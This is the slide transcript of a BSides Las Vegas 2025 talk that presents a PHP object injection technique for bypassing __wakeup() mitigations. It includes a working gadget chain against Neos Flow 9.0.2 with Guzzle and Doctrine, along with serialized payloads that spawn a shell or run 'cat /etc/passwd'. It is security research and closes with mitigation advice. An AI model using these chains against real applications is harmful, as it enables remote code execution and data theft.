Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Unawakened Wakeup: A Novel PHP Object Injection...

Unawakened Wakeup: A Novel PHP Object Injection Technique to Bypass __wakeup()

Introduction of 'Unawakened Wakeup' technique at Security BSides Las Vegas 2025

Avatar for Hiroki MATSUKUMA

Hiroki MATSUKUMA

August 06, 2025
Tweet

More Decks by Hiroki MATSUKUMA

Other Decks in Technology

Transcript

  1. UNAWAKENED WAKEUP: A Novel PHP Object Injection Technique to Bypass

    __wakeup() Hiroki MATSUKUMA (@hhc0null) Aug. 5th, 2025 @ Security BSides Las Vegas 2025
  2. Warmup Quiz class Quiz { public function __destruct() { //

    Called during object desturction echo "You win!\n"; system("sh"); } } unserialize($argv[1]); // Injection point! Q. Which payload gives shell access? (1) ""); new Quiz( (code fragment) (2) O:4:"Quiz":0:{} (serialized Quiz object) 2 / 53
  3. Warmup Quiz -- The Correct Answer class Quiz { public

    function __destruct() { // Called during object desturction. echo "You win!\n"; system("sh"); } } unserialize($argv[1]); // PHP Object Injection A. Option (2) works -- exploiting PHP Object Injection. $ php quiz.php 'O:4:"Quiz":0:{}' You win! whoami user 3 / 53
  4. __wakeup() Bypass Challenge class Target { public function __destruct() {

    echo "You win!\n"; system("sh"); } public function __wakeup() { throw new Exception; } // Mitigation! } unserialize($argv[1]); // PHP Object Injection The same way does not work for this situation. $ php chal.php 'O:6:"Target":0:{}' Fatal error: Uncaught Exception in /path/to/chal.php:4 Stack trace: #0 [internal function]: Target->__wakeup() #1 /path/to/chal.php(6): unserialize('O:6:"Target":0:{...') 4 / 53
  5. __wakeup() Bypass Challenge -- Solution Example class Target { public

    function __destruct() { echo "You win!\n"; system("sh"); } public function __wakeup() { throw new Exception; } // Mitigation! } unserialize($argv[1]); // PHP Object Injection It could be solved by exploiting Bug #81151. $ php chal.php 'C:6:"Target":0:{}' Warning: Class Target has no unserializer in [...] You win! whoami user 5 / 53
  6. Known PHP Bug to Bypass __wakeup(): Bug #81151 Regular objects

    can be deserialized as Serializable Exploitation is trivial -- just swap O → C , like: Original: O:6:"Target":0:{} Hacked: C:6:"Target":0:{} Raises warning -- may be fatal in some environments Serializable : deprecated in PHP 8.1, removed in PHP 9 [1] [2] 1 'C': Marks that the object implements Serializable interface. 2 Discussed in PHP RFC: Phasing out Serializable. 6 / 53
  7. $ whoami Hiroki MATSUKUMA -- @hhc0null Some CTF final round

    experiences w/ TokyoWesterns: DEF CON, HITCON, MidnightSun CTF, WCTF (in the 2010s) Some pentest experiences in Cyber Defense Institute, Inc. Pentester (~ Mar. 2022) Tech Lead (Apr. 2022 ~) A few speaker experiences: CODE BLUE 2016 (U-24) -- House of Einherjar (ja) Security .Tokyo #1 -- Pwning Old WebKit (ja) m0leCon 2025 -- Unawakened Wakeup (en) 8 / 53
  8. Serialization in PHP Used in PHP internally, like: Session support

    APCu extension serialize() (object → string representation): class C {...} $obj = new C(...); serialize($obj); // 'O:1:"C":1:{...}' unserialize() (string representation → object): class C {...} // Required for deserialization. $someObj = unserialize('O:1:"C":1:{...}'); 10 / 53
  9. PHP Object Injection (POI) (cont.) Tampering properties of object (

    "user" → "ADMIN" ): class User {private $username = "user"; } // Changing $this->username ("user" → "ADMIN") $userInput = 'O:4:"User":1:{s:14:"'."\0".'User'."\0".'username";s:5:"ADMIN";}'; var_dump(unserialize($userInput)); // object(User)#1 (1) { // ["username":"User":private]=> // string(4) "ADMIN" /* Changed! */ // } Injecting object with unexpected type ( Foo → int ): class Foo {...} $userInput = 'i:1337;'; // Type changed! $fooObj = unserialize($userInput); var_dump($fooObj); // int(1337) 12 / 53
  10. Property-oriented Programming (POP) Calling methods in a chain by manipulating

    object structure with POI. The figure is taken from 'FUGIO: Automatic Exploit Generation for PHP Object Injection Vulnerabilities' https://www.usenix.org/system/files/sec22-park-sunnyeo.pdf 13 / 53
  11. POI Exploitation with POP Gadget Chain Uses terminology similar to

    code-reuse attacks: Gadget: class with exploitable methods Gadget chain: sequence of gadgets forming execution flow PHPGGC supplys gadget chains found in popular frameworks and libraries. These chains are often triggered by magic methods, such as: __contruct() -- when the object is created __destruct() -- when the object is destroyed __wakeup() -- during deserialization 14 / 53
  12. Original __wakeup() Purpose __wakeup() : A magic method invoked during

    deserialization Originally for recovering states not preserved by serialization, such as: Reestablishing DB connections Restoring transient states, including: Open file handles Cache In short, not for security -- but ... 16 / 53
  13. __wakeup() Repurposed as POI Mitigation Some frameworks and libraries use

    __wakeup() to mitigate POI Symfony WordPress CakePHP Yii2 Guzzle Psr7 (target in demo) Typical strategies to mitigate or block unintended deserialization include: Detecting unexpected property states → Abort! Disallowing serialization of the class entirely → Abort! Ensuring properties are safely reinitialized 17 / 53
  14. Prior Works: Known __wakeup() Bypass Examples Faking regular object as

    Serializable -- reported by @J7ur8C (Same trick as the earlier challenge) Pros: (Almost) universally applicable Cons: Will break starting with PHP 9 Overwriting a property via reference after reinitialization in __wakeup() -- reported by @1nhann Pros: Does not relying on any PHP bug Cons: Only applicable in limited situations [1] [2] 1 Bug #81151 'bypass __wakeup' https://bugs.php.net/bug.php?id=81151 2 'A new way to bypass __wakeup() and build POP chain' https://inhann.top/2022/05/17/bypass_wakeup/ 18 / 53
  15. Limitation of __wakeup() as POI mitigation Recap: __wakeup() is... In

    other words, __wakeup() never be invoked during object construction! A magic method to be called on deserialization 20 / 53
  16. Arbitrary Object Instantiation (AOI) A vuln class occured by: new

    $userInput(...) arbitrary object can be created by passing arbitrary class name Recent AOI case-studies: CVE-2024-27098: GLPI CVE-2022-31084: LDAP Account Manager 21 / 53
  17. The Core Idea of Unawakened Wakeup Exploiting normal dynamic instantiation

    as AOI primitive Introducing AOI gadget to POP chain, like: class AOI { public $name = ...; public function __destruct() { new $this->name; // AOI primitive! } } Unawakened Wakeup: __wakeup() bypass technique using AOI gadget in POP chain 22 / 53
  18. How AOI Gadget Works Recap: Because Target class has __wakeup()

    which throws exception, class Target { public function __destruct() { echo "You win!\n"; system("sh"); } public function __wakeup() { throw new Exception; } // Mitigation! } unserialize($argv[1]); ...deserialization aborts! $ php chal.php 'O:6:"Target":0:{}' Fatal error: Uncaught Exception in /path/to/chal.php:4 ... 23 / 53
  19. How AOI Gadget Works (cont.) If an AOI gadget exists

    in target app, class Target { ... } class AOI { public $name = "stdClass"; public function __destruct() { new $this->name; } // AOI primitive } unserialize($argv[1]); ...deserialization could be done successfully $ php unawakened-wakeup.php 'O:3:"AOI":1:{s:4:"name";s:6:"Target";}' You win! whoami user 24 / 53
  20. Guzzle/RCE1: Chain Overview A no longer working gadget chain based

    on Guzzle 6 (<= 6.3.2) namespace GadgetChain\Guzzle; class RCE1 extends \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '6.0.0 <= 6.3.2'; ... public function generate(array $parameters) { $function = $parameters['function']; $parameter = $parameters['parameter']; return new \GuzzleHttp\Psr7\FnStream([ 'close' => [ new \GuzzleHttp\HandlerStack($function, $parameter), 'resolve' ] ]); } } 28 / 53
  21. Guzzle/RCE1: Object Overview object(GuzzleHttp\Psr7\FnStream)#4 (2) { ["methods":"GuzzleHttp\Psr7\FnStream":private] array(1) { ["close"]

    array(2) { [0] object(GuzzleHttp\HandlerStack)#3 (3) { } [1] string(7) "resolve" } } ["_fn_close"] array(2) { [0] object(GuzzleHttp\HandlerStack)#3 (3) { } [1] string(7) "resolve" } } object(GuzzleHttp\HandlerStack)#3 (3) { ["handler":"GuzzleHttp\HandlerStack":private] string(15) "cat /etc/passwd" ["stack":"GuzzleHttp\HandlerStack":private] array(1) { [0] array(1) { [0] string(6) "system" } } ["cached":"GuzzleHttp\HandlerStack":private] bool(false) } Final Payload: `cat /etc/passwd` 29 / 53
  22. [v6.3.2] Guzzle/RCE1: GuzzleHttp\Psr7\FnStream ::__destruct() ➤ Arbitrary Method Invocation ➤ namespace

    GuzzleHttp\Psr7; class FnStream { public function __destruct() { // Invoked during object detsruction if (isset($this->_fn_close)) { // (1) Invokes arbitrary method of any object call_user_func($this->_fn_close); } } } 30 / 53
  23. [v6.3.2] Guzzle/RCE1: GuzzleHttp\HandlerStack ::resolve() by Arbitrary Method Invocation ➤ Pwned!

    namespace GuzzleHttp; class HandlerStack { private $handler; private $stack; private $cached = false; public function resolve() { // Invoked by arbitrary method invocation if (!$this->cached) { if (!($prev = $this->handler)) { /* throws exception */ } foreach (array_reverse($this->stack) as $fn) { $prev = $fn[0]($prev); // Calls arbitrary function! } ... } ... } } 31 / 53
  24. Guzzle/RCE1: Current GuzzleHttp\Psr7\FnStream ::__wakeup() → Mitigated! namespace GuzzleHttp\Psr7; class FnStream

    { public function __destruct() { if (isset($this->_fn_close)) { ($this->_fn_close)(); } } public function __wakeup(): void { // Invoked during unserialize() throw new \LogicException( // Mitigates PHP Object Injection! 'FnStream should never be unserialized'); } } 32 / 53
  25. Neos Flow -- What? Why? Neos Flow 9.0.2 used in

    the demo... but why? Because Unawakened Wakeup came from Neos Flow research Stuck on __wakeup() in pentest of Neos Flow app in 2019 Succeeded solving it during a post‑engagement research 34 / 53
  26. Neos Flow 9.0.2 and Important Dependencies Neos Flow: neos/flow 9.0.2

    -- latest Guzzle: guzzlehttp/guzzle 7.9.3 -- latest Guzzle Psr7: guzzlehttp/psr7 2.7.1 -- latest Doctrine ORM: doctrine/orm 2.20.3 -- old Neos Flow requires this version of Doctrine ORM 35 / 53
  27. How to find AOI Gadgets Reviewing codebase for dynamic class

    instantiation, such as: new $className(...); new ($getClassName())(...); new ReflectionClass($className)->newInstance(...); Gadget discovery still requires manual effort, like: /path/to/neos-flow-9.0.2$ grep -nRP 'new \$[^(]+' ... Packages/Libraries/doctrine/orm/src/Query/TreeWalkerChainIterator.php:115:⏎ return new $this->walkers[$offset]( ... No fully automated approach yet... (sorry :P) 36 / 53
  28. AOI Gadget in Doctrine ORM (v2.20.3) namespace Doctrine\ORM\Query; class TreeWalkerChainIterator

    implements Iterator, ArrayAccess { private $walkers = []; private $treeWalkerChain; private $query; private $parserResult; public function offsetGet($offset) { if ($this->offsetExists($offset)) { // AOI primitive with three arguments under attacker control return new $this->walkers[$offset]( $this->query, // Argument #1 $this->parserResult, // Argument #2 $this->treeWalkerChain->getQueryComponents() // Argument #3 ); } ... } } 37 / 53
  29. Flow/RCE1: Chain Overview namespace GadgetChain\Flow; use \GuzzleHttp\HandlerStack; class RCE1 extends

    \PHPGGC\GadgetChain\RCE\FunctionCall { public static $version = '9.0.2'; ... public function generate(array $parameters) { $function = $parameters['function']; $parameter = $parameters['parameter']; return new \Neos\Flow\ResourceManagement\Publishing\MessageCollector( new \Doctrine\ORM\Query\TreeWalkerChainIterator( [ 'GuzzleHttp\Psr7\FnStream' ], /* Not an instantiation, but a string */ [ 'close' => [ new HandlerStack($function, $parameter), 'resolve' ] ], null, new \Doctrine\ORM\Query\TreeWalkerChain(null))); } } 38 / 53
  30. Flow/RCE1: Object Overview object(Neos\Flow\ResourceManagement\Publishing\MessageCollector)#9 (1) { ["messages":protected] object(Doctrine\ORM\Query\TreeWalkerChainIterator)#10 (4) {

    } } object(Doctrine\ORM\Query\TreeWalkerChainIterator)#10 (4) { ["walkers":"Doctrine\ORM\Query\TreeWalkerChainIterator":private] array(1) { [0] string(24) "GuzzleHttp\Psr7\FnStream" } ["query":"Doctrine\ORM\Query\TreewalkerChainIterator":private] array(1) { ["close"] array(2) { [0] object(GuzzleHttp\HandlerStack)#3 (3) { } } } ["parserResult":"Doctrine\ORM\Query\TreewalkerChainIterator":private] NULL ["treeWalkerChain":"Doctrine\ORM\Query\TreewalkerChainIterator":private] object(Doctrine\ORM\Query\TreeWalkerChain)#4 (1) { } } object(GuzzleHttp\HandlerStack)#3 (3) { ["handler":"GuzzleHttp\HandlerStack":private] string(15) "cat /etc/passwd" ["stack":"GuzzleHttp\HandlerStack":private] array(1) { [0] array(1) { [0] string(6) "system" } } ["cached":"GuzzleHttp\HandlerStack":private] bool(false) } object(Doctrine\ORM\Query\TreeWalkerChain)#4 (1) { ["_queryComponents":"Doctrine\ORM\Query\TreeWalkerChain":private] NULL } Final Payload: `cat /etc/passwd` 39 / 53
  31. Flow/RCE1: Neos\(...)\MessageCollector ::__destruct() ➤ ::flush() ➤ foreach ➤ namespace Neos\Flow\ResourceManagement\Publishing;

    class MessageCollector { protected $messages; public function flush(?callable $callback = null): void { // (2) Invokes iterator-related methods of $this->messages foreach ($this->messages as $message) { ... } } public function __destruct() { // Invoked during object detsruction $this->flush(); // (1) Invokes flush() method } } 40 / 53
  32. Flow/RCE1: Doctrine\(...)\TreeWalkerChainIterator ::current() by foreach ➤ ::offsetGet() ➤ namespace Doctrine\ORM\Query;

    class TreeWalkerChainIterator implements Iterator, ArrayAccess { private $walkers = []; public function current() { // Invoked during foreach-iteration // (3) Invokes offsetGet() method return $this->offsetGet(key($this->walkers)); } public function offsetGet($offset) { // Detailed in next page ... } } 41 / 53
  33. Flow/RCE1: Doctrine\(...)\TreeWalkerChainIterator ::offsetGet() ➤ AOI primitive ➤ namespace Doctrine\ORM\Query; class

    TreeWalkerChainIterator implements Iterator, ArrayAccess { private $walkers = []; private $treeWalkerChain; private $query; private $parserResult; public function offsetExists($offset) { /* checks at $offset */ } public function offsetGet($offset) { if ($this->offsetExists($offset)) { // (4) Instantiating GuzzleHttp\Psr7\FnStream class return new $this->walkers[$offset]( // AOI primitive $this->query, // [ 'close' => new GuzzleHttp\HandlerStack(...) ] $this->parserResult, $this->treeWalkerChain->getQueryComponents() ); } ... } 42 / 53
  34. Flow/RCE1: GuzzleHttp\Psr7\FnStream ::__construct() by AOI primitive ➤ use of objects

    ➤ namespace GuzzleHttp\Psr7; class FnStream implements \Psr\Http\Message\StreamInterface { private $methods; // Invoked by object construction public function __construct(array $methods) { $this->methods = $methods; foreach ($methods as $name => $fn) { $this->{'_fn_' . $name} = $fn; } } ... } 43 / 53
  35. Flow/RCE1: GuzzleHttp\Psr7\FnStream (cont.) ::__destruct() ➤ Arbitrary Method Invocation ➤ namespace

    GuzzleHttp\Psr7; class FnStream implements \Psr\Http\Message\StreamInterface { ... public function __destruct() { // Invoked by object destruction if (isset($this->_fn_close)) { // (5) Invokes arbitrary method of any object ($this->_fn_close)(); } } } 44 / 53
  36. Flow/RCE1: GuzzleHttp\HandlerStack ::__construct() by Arbitrary Method Invocation ➤ namespace GuzzleHttp;

    class HandlerStack { private $handler; private $stack; private $cached = false; function __construct($function, $parameter) { // Invoked during object construction $this->stack = [[$function]]; $this->handler = $parameter; } } 45 / 53
  37. Flow/RCE1: GuzzleHttp\HandlerStack (cont.) ::__construct() → ::resolve() → Pwned! namespace GuzzleHttp;

    class HandlerStack { private $handler; private $stack; private $cached = false; public function resolve() { // Invoked by object destruction if (!$this->cached) { if (!($prev = $this->handler)) { /* throws exception */ } foreach (array_reverse($this->stack) as $fn) { $prev = $fn[0]($prev); // Calls arbitrary function! } ... } ... } } 46 / 53
  38. s:5:"hello"; O:56:"Ne...s";N;}}} \unserialize($ser) Attacker Target App Custom gadget chain: Demo

    Target Overview The endpoint deserializes user input (POST parameter ser ): <?php namespace UnawakenedWakeup\Demo\Controller; ... use Neos\Flow\Annotations as Flow; use Neos\Flow\Mvc\Controller\ActionController; class StandardController extends ActionController { ... public function indexAction(?string $ser = null) { $ser = $ser ?? serialize('hello'); \unserialize($ser); // PHP Object Injection ... } } 48 / 53
  39. Key Takeaways or Closing Thoughts For pentesters: Consider using AOI

    gadget to bypass __wakeup() when exploiting POI. For PHP developers: Use JSON or validate data with HMAC, as recommended in the PHP manual. For aspiring hackers: Share what you discover in your work -- the community is eager to learn from you! 51 / 53
  40. Resources PHP: unserialize - Manual https://www.php.net/manual/en/function.unserialize.php PHP: Magic Methods -

    Manual https://www.php.net/manual/en/language.oop5.magic.php PHPGGC: PHP Generic Gadget Chains https://github.com/ambionics/phpggc Bug #81151 'bypass __wakeup' https://bugs.php.net/bug.php? id=81151 PHP: rfc:phase_out_serializable https://wiki.php.net/rfc/phase_out_serializable 'A new way to bypass __wakeup() and build POP chain' https://inhann.top/2022/05/17/bypass_wakeup/ 52 / 53
  41. Thank You for Listening! Huge Shout Out to the BSidesLV

    Staffs and Matt, my mentor! Any Questions?